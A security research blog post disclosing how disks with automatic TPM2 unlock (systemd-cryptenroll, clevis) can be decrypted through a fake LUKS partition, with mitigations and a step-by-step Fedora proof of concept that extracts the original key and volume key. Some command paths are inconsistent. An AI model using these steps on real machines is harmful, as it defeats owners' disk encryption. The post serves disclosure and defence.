🔗 Bypassing disk encryption on systems with automatic TPM2 unlock
Have you setup automatic disk unlocking with TPM2 and
systemd-cryptenroll
or clevis
? Then
chances are high that your disk can be decrypted by an attacker who
just has brief physical access to your machine - with some
preparation, 10 minutes will suffice. In this article we will
explore how TPM2 based disk decryption works, and understand why
many setups are vulnerable to a kind of filesystem confusion
attack. We will follow along by exploiting two different real
systems (Fedora + clevis, NixOS + systemd-cryptenroll).
# Examples commands used to enroll a key into the TPM. Whether your system is
# suffers from this issue does not depend on which PCRs you choose here.
systemd-cryptenroll --tpm2-pcrs=0+2+7 --tpm2-device=auto <device>
clevis luks bind -d <device> tpm2 '{"pcr_bank":"sha256","pcr_ids":"0,1,2,7"}'
TL;DR: Most TPM2 unlock setups fail to verify
the LUKS identity of the decrypted partition. Since the initrd must
reside in an unencrypted boot partition, an attacker can inspect it
to learn how it decrypts the disk and also what type of filesystem
it expects to find inside. By recreating the LUKS partition with a
known key, we can confuse the initrd into executing a malicious
init
executable. Since the TPM state will not be
altered in any way by this fake partition, the original LUKS key
can be unsealed from the TPM. Afterwards, the initial disk state
can be fully restored and then decrypted using the obtained
key.
You are safe if you additionally use a pin to unlock your TPM, or use an initrd that properly asserts the LUKS identity (which would involve manual work, so you'd probably know if that is the case).
🔗 The idea behind TPM2 based disk decryption
The idea behind secure and password-less disk decryption is that
the TPM2 can store an additional LUKS key which your system can
only retrieve, if the TPM is in a predetermined, known-good state.
This state is recorded in the so-called Platform Configuration
Registers (PCRs), of which there are 24 in a standard compliant
TPM. Their intended use is described in the Linux TPM PCR Registry but also neatly summarized as a table in
the systemd-cryptenroll(1)
man page.
These registers store hashes which are successively updated while booting based on information like the bootlaoder hash, the firmware in use, the booted kernel, initrd image and a lot more things. By establishing a chain of trust through all components involved in booting up to the linux userspace, we can ensure that altering any component will affect one or several PCRs. Storing data in the TPM requires you to select a list of PCRs and it will ensure that the data can only be retrieved again if all of these PCRs are in the same state as when enrolling the secret.
Several of these registers have an agreed-upon purpose and are updated with some specific information about your system, such as your board's firmware, your BIOS configuration, OptionROMs (extra firmware loaded from external devices such as PCIe devices after POST), the secure boot policy, or other things. Here's an excerpt from the man page from above containing some of the registers that are important to us:
PCR | Name | Explanation |
---|---|---|
0 | platform-code | Core system firmware executable code; changes on firmware updates |
2 | external-code | Extended or pluggable executable code; includes option ROMs on pluggable hardware |
7 | secure-boot-policy | Secure Boot state; changes when UEFI SecureBoot mode is enabled/disabled, or firmware certificates (PK, KEK, db, dbx, …) changes. |
15 | system-identity | systemd-cryptsetup(8) optionally measures the volume key of activated LUKS volumes into this PCR. systemd-pcrmachine.service(8) measures the machine-id(5) into this PCR. systemd-pcrfs@.service(8) measures mount points, file system UUIDs, labels, partition UUIDs of the root and /var/ filesystems into this PCR. |
Below this list, an interesting piece of information is given in the man page about the intended use of PCRs for encrypted volumes:
In general, encrypted volumes would be bound to some combination of PCRs 7, 11, and 14 (if shim/MOK is used). In order to allow firmware and OS version updates, it is typically not advisable to use PCRs such as 0 and 2, since the program code they cover should already be covered indirectly through the certificates measured into PCR 7. Validation through certificates hashes is typically preferable over validation through direct measurements as it is less brittle in context of OS/firmware updates: the measurements will change on every update, but signatures should remain unchanged. See the Linux TPM PCR Registry for more discussion.
If you enroll your own secure boot keys and use a Unified Kernel Image (UKI), then using just PCR 7 will be sufficient to ensure integrity up to the point where we need to unlock our disk. Some distributions instead ship EFI executables that are pre-signed with the Microsoft keys, which allows them to enable secure boot by default without requiring the user to generate and enroll anything on their own. Since this also means that the user cannot sign their kernel and/or initrd image, a trusted and pre-signed shim is often used to measure the hash of the kernel and initrd before executing them into PCR 9, which we would want to use in that case. Another approach is to have the user generate a so-called Machine Owner Key (MOK) if they want to sign something, in which case PCR 14 should be used, too.
So the exact PCR selection may change a bit depending on the user's setup. A quick search on GitHub or on the internet reveals that many people still opt to use additional PCRs like 0 and 2 in addition to 7, which is of course fine but may result in keys becoming inaccessible when the BIOS or some firmware is updated - which can be annoying.
🔗 A common (vulnerable) setup
If you already have secure boot set up, configuring TPM2 unlock
for your LUKS partition is usually very simple. Most guides will
resort to systemd-cryptenroll
or clevis
which are different implementations that internally do some
variation of the following:
- Add a newly generated key to your LUKS partition
- Seal this key in your TPM based on your selection of PCRs
- Store the encrypted TPM context in the LUKS token metadata which is required to unseal the secret at a later point in time
Both clevis
and systemd-cryptenroll
can store tokens in other ways than a TPM2, for example using a
FIDO2 key. I found that clevis
also supports
retrieving tokens from network resources, but other than that the
two tools are very similar in what they do.
systemd-cryptenroll
just comes pre-packaged with
systemd
so it is usually a bit simpler to use. Here is
an example:
systemd-cryptenroll --tpm2-pcrs=7 --tpm2-device=auto /dev/nvme0n1p3
In theory, the disk is now properly protected, assuming the kernel command line cannot be edited, right? It can only be decrypted if PCR 7 is unchanged, and anything we would do to the bootloader, kernel or initrd would affect PCR 7.
Well, of course, I wouldn't be asking if there wasn't a tiny
caveat: Assuming all disks were mounted properly, the initrd can be
certain that no code has been modified up to this point. But it
does not automatically ensure that the data on them is
authentic. As the very last step, the initrd will execute the
init
executable of the real system, which usually
doesn't undergo any kind of signature check before it is executed.
And why would it have to - after all it is part of the encrypted
root partition which cannot be altered by an attacker.
🔗 The exploit
First of all, it is important to know that the initrd will fall back to a password prompt, if TPM unlocking fails for whatever reason. A BIOS update could always cause the secure boot database to be altered (thus invalidating PCR 7), or somebody makes a mistake when updating the system and forgets to sign the kernel and initrd properly. In such a case you don't want to be locked out from your system completely, so asking for the password is a sane thing to do.
But that also means if we replace the encrypted partition with a
new LUKS partition (for which we choose the password), then the TPM
decryption will fail and we will be asked for the password, which
we control. After entering the password, the initrd will now think
it has decrypted the partition correctly and proceed. If we manage
to put the correct kind of filesystem inside of our fake LUKS
partition so that the actual mounting succeeds, we can ship a
malicious init
binary that now has full access to the
unlocked TPM, thus allowing us to decrypt the original filesystem,
which we would have to backup before creating our malicious
partition.
Now you might think the initrd can simply verify the filesystem UUID before mounting it since we cannot read it from the disk, but remember that anything the initrd knows is public knowledge, as the boot partition and initrd image are not encrypted. So we can just reuse the same LUKS UUID and filesystem UUID if necessary.
🔗 Securing the system
To solve this, we need to be able to authenticate all encrypted volumes before accessing any file on them. In this article by Lennart Poettering from October 2022, where he describes the state of secure boot in systemd, he mentions how the process should look like to make the system secure. It is a bit involved so let me reiterate the important part.
After a disk has been unlocked, we want to derive a value from
its volume key (the master key used to encrypt all its data) and
use this value to extend PCR 15. This ensures that any fake volume
would change this value since the original volume key cannot be
known. Using systemd-cryptsetup
instead of
cryptsetup
can already take care of this by adding
tpm2-measure-pcr=yes
to the crypttab file.
If we now ensure that the disk decryption order is deterministic, then we can compare the value in PCR 15 against a known and signed value in the initrd. If the wrong value is observed, the initrd can now abort the boot process before executing anything malicious.
🔗 Many broken guides
There are loads of guides that describe in more detail how to setup TPM2 based disk unlocking, and while the concept is always the same, you will certainly find one adjusted to your favorite distribution. Here's a list of guides that I found online, sorted by date:
- Secure Boot & TPM-backed Full Disk Encryption on NixOS (2024/04, NixOS, systemd-cryptenroll, EDIT: updated 💙)
- [HowTo] Using Secure Boot and TPM2 to unlock LUKS partition on boot (2024/01, Manjaro, systemd-cryptenroll)
- [GUIDE] Setup TPM2 Autodecrypt (2023/10, Unspecified, systemd-cryptenroll, Misuse of PCR 15)
- Debian with LUKS and TPM auto decryption (2023/09, Debian, systemd-cryptenroll)
- Gentoo Wiki - Trusted Platform Module/LUKS (2023/05, Gentoo, clevis)
- Safe automatic decryption of LUKS partition using TPM2 (2023/01, Fedora, clevis, fedoramagazine)
- The ultimate guide to Full Disk Encryption with TPM and Secure Boot (2022/04, Debian, tpm2-initramfs-tool)
- Decrypt LUKS volumes with a TPM on Fedora Linux (2022/03, Fedora, systemd-cryptenroll)
- ArchWiki/User:Krin/Secure Boot, full disk encryption, and TPM2 unlocking install (2021/09, Arch Linux, systemd-cryptenroll)
Unfortunately, I did not find any guide that addresses this, so most user setups are probably suffering from this issue. Though in all fairness, whether this is an issue to you obviously depends on your threat model. If you are using the TPM just to unlock your home server which nobody else has physical access to, then maybe this is a non-issue to you. But if you use this to protect the data on your laptop against theft, then chances are you want to set a TPM pin or implement PCR 15 verification as explained above.
Notably, I found that the ArchWiki entry of systemd-cryptenroll acknowledges this issue in a warning near the end of the article:
Only binding to PCRs measured pre-boot (PCRs 0-7) opens a vulnerability from rogue operating systems. A rogue partition with metadata copied from the real root filesystem (such as partition UUID) can mimic the original partition. Then, initramfs will attempt to mount the rogue partition as the root filesystem (decryption failure will fall back to password entry), leaving pre-boot PCRs unchanged. The rogue root filesystem with files controlled by an attacker is still able to receive the decryption key for the real root partition. See Brave New Trusted Boot World and BitLocker documentation for additional information.
And while this is correct, just using any of the PCRs 8-23
doesn't automatically protect your data either. The initrd still
has to ensure that the respective PCR is changed before executing
the system's init
binary, which is not done by
default.
🔗 Proof-of-concept exploitation of a Fedora machine
Now, let's have a look at a real system which we will setup in a similar way to how anyone else would have done it. I've picked one of the Fedora articles above, but you can expect this to work for all of the other distributions, too. In summary, my setup included the following steps:
- Install Fedora 41, I chose an encrypted root with ext4 on LUKS
- Enable secure boot in the BIOS (and install the Microsoft keys since Fedora is signed with those keys)
An interesting thing we notice right away is that the Fedora bootloader is signed using the Microsoft keys. We've already briefly talked about this in the beginning, this means it cannot sign the initrd at all. Instead, they have a signed shim that is executed after the bootloader which will calculate hashes of the kernel and initrd and extend PCR 9 with those values. Therefore, it is critical that we now include PCR 9 in our selection when enrolling the key to the TPM, otherwise the initrd could just be modified.
This approach has the advantage that the user doesn't have to deal with custom secure boot keys, but the downside is that every kernel or initrd update will affect the value in PCR 9, thus requiring us to re-enroll the key after rebooting on each system update. Here is a snapshot of my PCRs when I enrolled the key into the TPM. This is also the state that we need to reach later to succeed.
[root@localhost]# systemd-analyze pcrs
NR NAME SHA256
0 platform-code 8c2af609e626cc1687f66ea6d0e1a3605a949319514a26e7e1a90d6a35646fa5
1 platform-config 299b0462537a9505f6c63672b76a3502373c8934f08a921e1aa50d3adf4ba83d
2 external-code 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
3 external-config 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
4 boot-loader-code 5fdbd66c267bd9513dbc569db0b389a37445e1aa463f9325ea921563e7fb37eb
5 boot-loader-config 38a281376260137602e5c70f7a9057e4c55830d22a02bb5a66013d6ac2576d2f
6 host-platform 3d458cfe55cc03ea1f443f1562beec8df51c75e14a9fcf9a7234a13f198e7969
7 secure-boot-policy 4770a4fb1dac716feaddd77fec9a28bb2015e809a34add1a9d417eec36ec1e17
8 - e3e23c0da36fa31767885aec7aee3180fb2f5e0b67569c3a82c2a1c3ca88a651
9 kernel-initrd 091f6917b0c8788779f4d410046250e6747043a8cd1bd75bf90713cc6de30d99
10 ima 2566bdf57c3aa880f7b0c480f479c0a88e0e72ae7ef3c1888035e7238bbe9257
11 kernel-boot 0000000000000000000000000000000000000000000000000000000000000000
12 kernel-config 0000000000000000000000000000000000000000000000000000000000000000
13 sysexts 0000000000000000000000000000000000000000000000000000000000000000
14 shim-policy 17cdefd9548f4383b67a37a901673bf3c8ded6f619d36c8007562de1d93c81cc
15 system-identity 0000000000000000000000000000000000000000000000000000000000000000
16 debug 0000000000000000000000000000000000000000000000000000000000000000
17 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
18 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
19 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
20 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
21 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
22 - ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
23 application-support 0000000000000000000000000000000000000000000000000000000000000000
🔗 Inspecting the system
Now, let's pretend we don't know anything about the system and that we just obtained physical access to the machine, which was powered-off.
We start by taking the main disk out and putting it into our machine. You may also be able to boot a Fedora or Debian live image, if the owner has not wiped the Microsoft keys from their BIOS in favor of their own. Once booted, we start investigating the disk layout and partitions:
[root@localhost]# blkid
/dev/nvme0n1p1: LABEL_FATBOOT="EFI" LABEL="EFI" UUID="E2AA-BB8B" BLOCK_SIZE="512" TYPE="vfat" PARTLABEL="EFI System Partition" PARTUUID="b9cd5e99-00ec-45e8-be33-72809ae30602"
/dev/nvme0n1p2: LABEL="boot" UUID="d0a1796a-5c1e-446f-8b70-2910d094d195" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="e5cc6afa-285b-4bc6-8fb1-a6c5344d20a9"
/dev/nvme0n1p3: UUID="779328d5-00ca-4ade-be44-6daa549642ed" TYPE="crypto_LUKS" PARTUUID="4e73c89f-3840-458a-ada6-0f5349ab36e1"
We take a quick peek at the encrypted partition, which is our main target:
[root@localhost]# cryptsetup luksDump /dev/nvme0n1p3
LUKS header information
Version: 2
Epoch: 9
Metadata area: 16384 [bytes]
Keyslots area: 16744448 [bytes]
UUID: 779328d5-00ca-4ade-be44-6daa549642ed
# [...]
Tokens:
0: clevis
Keyslot: 1
# [...]
We can already see that the system owner has used
clevis
to configure the automated unlocking. What we
want to find for now is the initrd and kernel command line, so some
GRUB or systemd-boot configuration file. Since Fedora uses
pre-signed images, the EFI partition will only contain the loader
and shim, which shouldn't contain any information about the actual
system. But the boot partition /dev/nvme0n1p2
looks
promising, so let's mount it and see what we find:
[root@localhost]# mount /dev/nvme0n1p2 /mnt/boot
[root@localhost]# ls -l /mnt/boot
total 222500
dr-xr-xr-x. 6 root root 4096 Jan 13 23:09 ./
dr-xr-xr-x. 19 root root 4096 Jan 13 23:06 ../
-rw-r--r--. 1 root root 277997 Oct 20 02:00 config-6.11.4-301.fc41.x86_64
drwx------. 3 root root 4096 Jan 1 1970 efi/
drwx------. 3 root root 4096 Jan 13 23:10 grub2/
-rw-------. 1 root root 139254374 Jan 13 23:09 initramfs-0-rescue-868c201e807541caacd6fa6b32d5ba2e.img
-rw-------. 1 root root 45514433 Jan 14 00:54 initramfs-6.11.4-301.fc41.x86_64.img
drwxr-xr-x. 3 root root 4096 Jan 13 23:06 loader/
drwx------. 2 root root 16384 Jan 13 23:05 lost+found/
-rw-r--r--. 1 root root 182584 Jan 13 23:09 symvers-6.11.4-301.fc41.x86_64.xz
-rw-r--r--. 1 root root 9968458 Oct 20 02:00 System.map-6.11.4-301.fc41.x86_64
-rwxr-xr-x. 1 root root 16296296 Jan 13 23:08 vmlinuz-0-rescue-868c201e807541caacd6fa6b32d5ba2e*
-rwxr-xr-x. 1 root root 16296296 Oct 20 02:00 vmlinuz-6.11.4-301.fc41.x86_64*
-rw-r--r--. 1 root root 161 Oct 20 02:00 .vmlinuz-6.11.4-301.fc41.x86_64.hmac
Great! There are the kernel and initrd images plus a
loader/
directory containing some GRUB entry
configurations. We will take a look at those configuration files
first:
[root@localhost]# ls -l /mnt/boot/loader/entries
-rw-r--r--. 1 root root 445 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-0-rescue.conf
-rw-r--r--. 1 root root 369 Jan 13 23:10 868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
[root@localhost]# cat /boot/loader/entries/868c201e807541caacd6fa6b32d5ba2e-6.11.4-301.fc41.x86_64.conf
title Fedora Linux (6.11.4-301.fc41.x86_64) 41 (Server Edition)
version 6.11.4-301.fc41.x86_64
linux /vmlinuz-6.11.4-301.fc41.x86_64
initrd /initramfs-6.11.4-301.fc41.x86_64.img
options root=UUID=1a887df4-286d-4842-bd66-d8993e8596d2 ro rd.luks.uuid=luks-779328d5-00ca-4ade-be44-6daa549642ed rhgb quiet
grub_users $grub_users
grub_arg --unrestricted
grub_class fedora
Wow, this is looks like we already found all the important
information! Judging from the commandline syntax, this is likely an
initrd that was generated by dracut. There seems to be a LUKS
encrypted partition with UUID
779328d5-00ca-4ade-be44-6daa549642ed
and a root file
system with UUID 1a887df4-286d-4842-bd66-d8993e8596d2
,
which is certainly inside of the LUKS partition. The type of
filesystem is not specified, so we are free to choose anything that
is supported by the initramfs for our fake.
🔗 Planning our exploit
In theory, we'd need to find out one additional thing - the
binary that will be called by the initrd when it want's to switch
to the real system. But the chances are very high that it is
/sbin/init
(this is not the case on all systems
though, see the NixOS PoC below for an example). If our assumption
doesn't work out, we can still double check by extracting the
initrd later.
In order to confuse the initrd, we now need to:
- Backup the original LUKS parition so we can later decrypt it
- Replace the LUKS partition with a fake LUKS partition that has
the UUID
779328d5-00ca-4ade-be44-6daa549642ed
- This LUKS partition must contain a filesystem with UUID
1a887df4-286d-4842-bd66-d8993e8596d2
- The inner filesystem contains a
/sbin/init
binary that does what we want
We may actually only backup the first few megabytes of the original LUKS partition and make sure our fake partition is exactly the same size as our backup. By overwriting just the beginning in this way we don't have to do a full disk backup, which would otherwise take a very long time and would require us to bring a spare disk with us.
🔗 Backup the beginning of the original LUKS partition
[root@localhost]# dd if=/dev/nvme0n1p3 of=/boot/luks-original.bak bs=64M count=1
We'll abuse the free space on the boot partition to store this backup, which makes it easy to access later. If you don't want to tamper too much with the original disk, you can of course use a small thumb drive.
🔗 Create fake partition and filesystem with matching UUIDs
Next, we create a 64MB
file in which we will
prepare our partition. The size is a bit arbitrary, it just needs
to cover the LUKS and inner filesystem header and must fit our
exploit binary. So we initialize a new LUKS partition with the UUID
from above, and then open it and format its contents with
ext4
:
[root@localhost]# truncate -s 64MB /root/fakeluks
[root@localhost]# cryptsetup luksFormat /root/fakeluks --key-file <(echo -n 1234) --uuid 779328d5-00ca-4ade-be44-6daa549642ed
[root@localhost]# cryptsetup open /root/fakeluks fakeluks --key-file <(echo -n 1234)
[root@localhost]# mkfs.ext4 /dev/mapper/fakeluks -U 1a887df4-286d-4842-bd66-d8993e8596d2
[root@localhost]# mount /dev/mapper/fakeluks /mnt/root
🔗 Prepare filesystem
Now we could theoretically prepare a tiny binary that directly
extracts the key from the TPM, but it's far simpler just put a
minimal Alpine image there and install the necessary tools to do
that manually. This will also easily fit into 64MB
.
Let's proceed by preparing the Alpine filesystem:
[root@localhost]# cd /mnt/root
[root@localhost]# wget https://dl-cdn.alpinelinux.org/alpine/v3.21/releases/x86_64/alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# tar xvf alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# rm alpine-minirootfs-3.21.2-x86_64.tar.gz
[root@localhost]# cat /etc/resolv.conf > /mnt/root/etc/resolv.conf # Just for DNS resolution at this moment, so we can install packages in the chroot
[root@localhost]# chroot /mnt/root /sbin/apk add \ # Install some tools that we need
tpm2-tools tpm2-tss-tcti-device jose cryptsetup
[root@localhost]# wget -O /mnt/root/bin/clevis-decrypt-tpm \
"https://raw.githubusercontent.com/latchset/clevis/0839ee294a2cbb0c1ecf1749c9ca530ef9f59f8f/src/pins/tpm2/clevis-decrypt-tpm2"
[root@localhost]# chmod +x /mnt/root/bin/clevis-decrypt-tpm # Helper to retrieve password from TPM2
[root@localhost]# sed -i 's/root:x/root:/' /mnt/root/etc/passwd # Remove root password
🔗 Overwriting the partition
Finally, we unmount our fake filesystem and overwrite the first
64MB
of the original partition with it, then put the
disk back into the original machine and reboot:
[root@localhost]# umount /mnt/root
[root@localhost]# cryptsetup close /dev/mapper/fakeluks
[root@localhost]# sync
[root@localhost]# dd if=/root/fakeluks of=/root/luks-original.bak bs=64M count=1
We will now be asked for the LUKS password we just set, since
the automatic decryption will obviously not trigger on our fake
partition, which has no token metadata. After entering our password
from above, we are greeted by the Alpine image. We can login as
root
without a password:
Welcome to Alpine Linux 3.21
Kernel 6.11.4-301.fc41.x86_64 on an x86_64 (/dev/tty1)
localhost login: root
Welcome to Alpine!
localhost:~#
🔗 Verifying PCRs
Now let's check whether any of the PCRs was affected by our operation:
localhost:~# tpm2_pcrread
sha1:
sha256:
0 : 0x8C2AF609E626CC1687F66EA6D0E1A3605A949319514A26E7E1A90D6A35646FA5
1 : 0x299B0462537A9505F6C63672B76A3502373C8934F08A921E1AA50D3ADF4BA83D
2 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
3 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
4 : 0x5FDBD66C267BD9513DBC569DB0B389A37445E1AA463F9325EA921563E7FB37EB
5 : 0x38A281376260137602E5C70F7A9057E4C55830D22A02BB5A66013D6AC2576D2F
6 : 0x3D458CFE55CC03EA1F443F1562BEEC8DF51C75E14A9FCF9A7234A13F198E7969
7 : 0x4770A4FB1DAC716FEADDD77FEC9A28BB2015E809A34ADD1A9D417EEC36EC1E17
8 : 0xE3E23C0DA36FA31767885AEC7AEE3180FB2F5E0B67569C3A82C2A1C3CA88A651
9 : 0x091F6917B0C8788779F4D410046250E6747043A8CD1BD75BF90713CC6DE30D99
10: 0x2566BDF57C3AA880F7B0C480F479C0A88E0E72AE7EF3C1888035E7238BBE9257
11: 0x0000000000000000000000000000000000000000000000000000000000000000
12: 0x0000000000000000000000000000000000000000000000000000000000000000
13: 0x0000000000000000000000000000000000000000000000000000000000000000
14: 0x17CDEFD9548F4383B67A37A901673BF3C8DED6F619D36C8007562DE1D93C81CC
15: 0x0000000000000000000000000000000000000000000000000000000000000000
16: 0x0000000000000000000000000000000000000000000000000000000000000000
17: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
18: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
19: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
20: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
21: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
22: 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
23: 0x0000000000000000000000000000000000000000000000000000000000000000
sha384:
sm3_256:
The output format is slightly different to that of
systemd-analyze pcrs
, but we can see that all values
are the same as in the real system. Some boards may have different
values in PCR 1 after every power cycle, but don't worry, in that
case you can be sure that the owner didn't use it either. So this
means our attack was successful! We can now go ahead and retrieve
the volume key of the original partition.
🔗 Extracting the volume key
By quickly skimming the clevis source we find that it stores a JWE token in the LUKS header, which contains an encrypted secondary key to unlock the partition. It also contains some metadata required to have it decrypted by the TPM, like which PCRs have to be used in the TPM context. Back when we inspected the LUKS header, we found the clevis token in slot 0, so let's first extract this token:
localhost:~# mount -o remount,rw / # This alpine image is not writable by default
localhost:~# mount /dev/nvme0n1p1 /mnt
localhost:~# cryptsetup token export --token-id 0 /mnt/luks-original.bak | tee token.json
{
"type": "clevis",
"keyslots": [
"1"
],
"jwe": {
"ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
"encrypted_key": "",
"iv": "5zuFP0kEuqiCh0QL",
"protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
"tag": "7DIhyL_ZNocrUHTPr1PQWg"
}
}
Clevis would then proceed to extract a JWE token and hand it to
clevis-decrypt-tpm2
which decrypts it using the TPM,
so we replicate the procedure:
# Get the contents of the .jwe field
localhost:~# jose fmt -j token.json -Og jwe -o- | tee jwe.json
{
"ciphertext": "hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS",
"encrypted_key": "",
"iv": "5zuFP0kEuqiCh0QL",
"protected": "eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ",
"tag": "7DIhyL_ZNocrUHTPr1PQWg"
}
# Convert this format into the actual JWE token format
localhost:~# jose jwe fmt -i jwe.json -c | tee token.txt
eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIiwiY2xldmlzIjp7InBpbiI6InRwbTIiLCJ0cG0yIjp7Imhhc2giOiJzaGEyNTYiLCJqd2tfcHJpdiI6IkFOMEFJRXFpblRfb3Y5cTZHVFo3TU1TcW0tUXgzT1RNaEN6ZTVTUUxRTDhDbGNoakFCQ3Z5Tldyd2lZalRaVzZUNG1rSjd4UF9CeDlCa2N0UXFFZzF6eUZ4aTdMcTRBWTcxWnpGOEVrano3QmRlVWZ3TV9PT2pOdGVGcmZFdUItQzRONGRhWDZ0VHk3RTBrc3BuS3luN3VRQ0p6VDVrcU4yYkpPM0FGTEpwbG1JNWxseXhVdHNQZmRSamhSTFUyWXN6V2Fvay1VQlZsNGtuOWNHTUZCNFdZQmFHd01oM0QwZjF1TjdQUVV4cGx6bWtRSmQzX1FRUGZBM3VNMDZRcXY4OU14STVCc3dra3FiWEhSVmhNNFVCOXNLcjd0dzgzVkFFdXpzZ3c5OXciLCJqd2tfcHViIjoiQUU0QUNBQUxBQUFFa2dBZ2d1X2RMZTk2Z0dyRkZycWw2NXltWG5DQ1RMWWVMYXFkQ0NfSkRRa0R4M01BRUFBZ1UwVFhKaXZhaTVuWVNONGNUT05lNkNJR0djX2ZGbDd6ZlNsNUZuOTFvU0kiLCJrZXkiOiJlY2MiLCJwY3JfYmFuayI6InNoYTI1NiIsInBjcl9pZHMiOiI0LDUsNyw5In19fQ..5zuFP0kEuqiCh0QL.hNNirkMsfcEWcVKfTFCY3JKNCk0x-8P4svgzkeulNhHnuaOdFQ4YfOCUUX9pkWvonfE2uivS.7DIhyL_ZNocrUHTPr1PQWg
# Use the clevis-decrypt-tpm2 script to decrypt it with the TPM2
localhost:~# cat token.txt | tr -d '\n' | clevis-decrypt-tpm2
4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA
Awesome! We got a password out of it, which is the password
clevis
originally added to the LUKS partition and
which can be used to unlock it! Let's also dump the volume key for
future "safekeeping" 🤡:
[root@localhost]# cryptsetup luksDump /mnt/luks-original.bak --dump-volume-key --volume-key-file volume-key.txt \
--key-file <(echo -n 4yurbtxybpBwHBi2O2Kea1vDmhjDRt6yudAKYXinsiI3EUSjwYhwZA)
# [...]
Are you sure? (Type 'yes' in capital letters): YES
LUKS header information for /mnt/luks-original.bak
Cipher name: aes
Cipher mode: xts-plain64
Payload offset: 32768
UUID: 779328d5-00ca-4ade-be44-6daa549642ed
MK bits: 512
Key stored to file volume-key.txt.
[root@localhost]# cat volume-key.txt | hexdump
0000000 0e42 f904 ae92 97a2 84a0 920a 3b09 faf5
0000010 4feb 1775 b0de 0448 e4f4 c57f 35e6 7e34
0000020 d200 2016 8623 2cd2 5e8e 2262 320a 3e74
